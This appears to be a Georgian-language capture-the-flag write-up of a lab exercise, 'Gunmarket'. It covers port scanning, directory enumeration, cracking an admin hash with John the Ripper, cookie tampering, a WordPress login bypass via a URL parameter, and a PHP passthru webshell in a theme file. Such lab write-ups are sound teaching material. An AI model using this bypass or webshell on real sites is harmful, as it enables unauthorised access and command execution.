Pentest: Gunmarket

Aleksi Kistauri
ka_GE
Published in
5 min readAug 24, 2019

--

გამარჯობა, დღეს განვიხილავ კიბერ ოლიმპიადის მორიგი კატეგორიის Pentest-ის ერთ-ერთ სავარჯიშოს, Gunmarket-ს და ვეცდები, თითოეული ნაბიჯი დეტალურად ავხსნა.

უკვე განხილული კატეგორიები თუ გაინტერესებს, შეგიძლია გაეცნოთ:

Pcap Analysishttps://bit.ly/2M9L7f0

რა არის Buffer Overflow ?- https://bit.ly/2GZbNLr

Log analysis https://bit.ly/2HntEMc

აღნიშნულ დავალებაში განვიხილავთ ისეთ თემებს, როგორებიცაა:

  • პორტების სკანირება
  • Salted პაროლების გატეხვა JohnTheRipper ის საშუალებით.
  • ცუდი cookie based authentication- ის მაგალითს
  • დირექტორიების ენუმერაციას
  • WPScan ის გამოყენება და მისი დახმარებით ავტორიზაციაზე გვერდის ავლა.
  • Webshell

კიბერ ოლიმპიადაზე გამოყენებული სავარჯიშოები შეგიძლიათ cyber-lab — ზე იხილოთ.

მაშ ასე, ამოცანის პირობა შემდეგია:

მოცემული გვაქვს ორი კითხვა, რომლებიც 2 გასაღების პოვნას გვავალებს.

მოდი დავიწყოთ პირველი გასაღების ძებნა.

nmap -sC -sV -oA nmap/gunmarket 185.212.254.63

  • -sC — დეფაულტ სკრიპტებისთვის.
  • -sV — ვერსიების ენუმერაციისთვის.
  • -oA nmap/gunmarket — აუთფუთის ფაილში ჩასაწერად.

გავიგეთ რომ საიტზე ღიაა პორტი 80, მოდი გავხსნათ ის ვნახოთ რა გვაქვს მოცემული:

მოცემულია მხოლოდ მარკეტის სურათი, სორსშიც საინტერესო არაფერია:

გადავიდეთ დირექტორიების ენუმირაციაზე

ენუმირაციისთვის გამოვიყენოთ dirb-ი

dirb http://185.212.254.63

P.S. Ip თქვენ შემთხვევაში სავარაუდოთ სხვა იქნება.

dirb-მა რამდენიმე საინტერესო რამ იპოვა, პირველი — ეს არის ფოლდერი /wp, ხოლო მეორე /.bash_history ფაილი, რომელმაც სავარაუდოთ საინტერესო ინფორმაცია უნდა მოგვცემს.

/wp დირქტორიაზე წვდომა არ გვაქვს:

ხოლო /.bash_history — ის ნახვა თავისუფლად შეგვიძლია.

მასში ჩახედვისას საინტერესო ინფორმაციას ვგებულობთ:

  • დირექტორია /ctf/admin
  • ადმინის იუზერნეიმი და პაროლი(ჰეშირებული).

/ctf/admin დირექტორიაზე გადასვლისას გვთხოვს იუზერნეიმსა და პაროლს.

იუზერნეიმი უკვე ვიცით, რომ admin-ია, პაროლის გასაგებად კი JohnTheRipper-ი გამოვიყენოთ.

პაროლის გასატეხად john-თან ერთად დაგვჭირდება ვორდლისტი, ამ შემთხვევაში გამოვიყენებ rockyou-ის, რომლის ჩაწერაც აღნიშნული ლინკიდან შეგიძლიათ — rockyou.

გავტეხოთ პაროლი

რაიმე ფაილში ჩაწერეთ პაროლის ჰეში, ჩემ შემთხვევაში gunmarket_pass — ში მოვათავსე ის.

echo ‘admin:$apr1$T9QLutEh$9Y192r5I3TI52/bsdksIy.’ > gunmarket_pass

john — wordlist=rockyou.txt gunmarket_pass

სადაც rockyou.txt თქვენი პაროლების სიის მისამართია, ხოლო gunmarket_pass- იმ ფაილის მისამართი სადაც პაროლის ჰეშია მოთავსებული.

გავიგეთ ადმინის პაროლიც — admin123.

შეგვიძლია დავუბრუნდეთ /ctf/admin/ დირექტორიას, სადაც Cookie Monster-ის ფოტო გვხდება.

ჰინთი უკვე გასაგებია, დროა ქუქებს ჩავხედოთ:

ქუქებში ერთი ველი გვაქვს მოცემული, სახელად username ხოლო მისი მნიშვნელობა, ჩვენ შემთხვევაში guest_user-ია.

მოდი შევცვალოთ guest_useradmin-ით და ვნახოთ რამოხდება:

მივიღეთ პირველი გასაღები და ჰინთი მეორე გასაღების საძიებლად.

/wp/wordpress-ზე გვხდება ვორდპრესის საიტი, რომელზეც არაფერი არ არის განთავსებული, არ გვაძლევს არანაირ მინიშნებას.

მოდი ვცადოთ WPScan და ვნახოთ მოგვცემს თუ არა რაიმე შედეგს.

WPScan არის ხელსაწყო Wordpress ის საიტების მოწყვლადობების საძიებლად.

WPScan-მა ოთხი საინტერესო მოწყვლადობა იპოვა, პირველის საშუალებით, როგორც ის გვეუბნება შეგვიძლია ავტორიზაციაზე გვერდის ავლა.

მოდი ვცადოთ მისი გამოყენება.

როგორც exploit-db დან ვგებულობთ, თუ საიტზე დეფაულტ იუზერი admin-ი გვყავს, შეგვიძლია მისი ანგარიშის გამოყენება, და საიტზე ავტორიზაციის გარეშე შესვლა ლინკში — ?up_auto_log=true — ის მიმატებით.

გადავიდეთ ლინკზე — http://185.212.254.63/wp/wordpress/?up_auto_log=true

იმუშავა აღნიშნულმა ექსპლოიტმა, საიტის სამართავ პანელზე წვდომა მოვიპოვეთ.

საიტზე წვდომა გვაქვს, შემდეგი ნაბიჯია სისტემაზე წვდომის მოპოვება.

ამისთვის გამოვიყენებ webshell-ს.

უამრავ ადგილას შეგვიძლია შელის განთავსება, მე აქტიური თემის 404.php ავირჩიე.

რომლის ნახვისთვისაც უნდა შეხვიდეთ Appearance შემდეგ კი editor-ში.

საქმე კიდევ უფრო გამარტივებული დაგხვდა, webshell კოდი უკვე განთავსებულაი 404.php ში.

რომლის არ არსებობის შემთხვევაშიც, უბრალოდ დავამატებდით webshell კოდს და შევინახავდით ფაილს.

echo passthru($_GET[‘cmd’]);

webshell იც გვაქვს, მის გამოსაყენებლად საკმარისია გადავიდეთ იმ მისამართზე, სადაც ისაა განთავსებული და არგუმენტად გადავცეთ cmd= და შემდეგ ის ბრძანება, რისი გაშვებაც გვინდა.

საცდელად გავუშვათ cmd=ls

ჩვენი შელი მუშაობს, ისღა დაგვრჩენია მეორე გასაღები ვიპოვოთ.

რამდენიმე დირექტორიით უკან გასვლის შემდეგ, გვხდება ფაილი, რომელიც სავარაუდოთ ჩვენი მეორე გასაღებია.

მის სანახავად საკმარისია ls შევცვალოთ cat ით და მისამართში დავამატოთ ჩვენი ფაილის სახელი:

მეორე გასაღებიც ვიპოვეთ.

კიბერ ოლიმპიადა ძალიან კარგი საშუალებაა ახალი ინფორმაციის შესასწავლად, cyber-lab ზე შეგიძლიათ აკეთოთ სავარჯიშოები, რომლებიც გაგაცნობენ რეალურ ინციდენტებს, უამრავი ვორდპრესის დეველოპერი უშვებს მსგავს შეცდომას, არ ანახლებენ დროულად პლაგინებს, აყენებენ გატეხილებს (რომლებშიც გარანტირებულია მსგავში შელ კოდები).

Feedback is welcome ;)

--

--